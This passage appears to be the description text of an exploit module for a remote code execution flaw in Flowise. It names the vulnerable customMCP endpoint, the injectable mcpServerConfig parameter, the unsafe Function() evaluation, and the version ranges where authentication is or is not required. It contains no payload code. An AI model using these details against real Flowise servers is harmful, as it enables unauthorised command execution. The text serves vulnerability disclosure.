              This module exploits a remote code execution vulnerability in Flowise versions >= 2.2.7-patch.1
              and < 3.0.6. The vulnerability exists in the customMCP endpoint (/api/v1/node-load-method/customMCP)
              located in packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts, which allows users to execute
              arbitrary commands via JavaScript code injection in the mcpServerConfig parameter using the
              convertToValidJSONString function that uses Function('return ' + inputString)(). For versions < 3.0.1,
              the exploit can work unauthenticated if FLOWISE_USERNAME and FLOWISE_PASSWORD environment variables
              are not configured. For versions >= 3.0.1, authentication via FLOWISE_EMAIL and FLOWISE_PASSWORD is
              required due to JWT token verification.
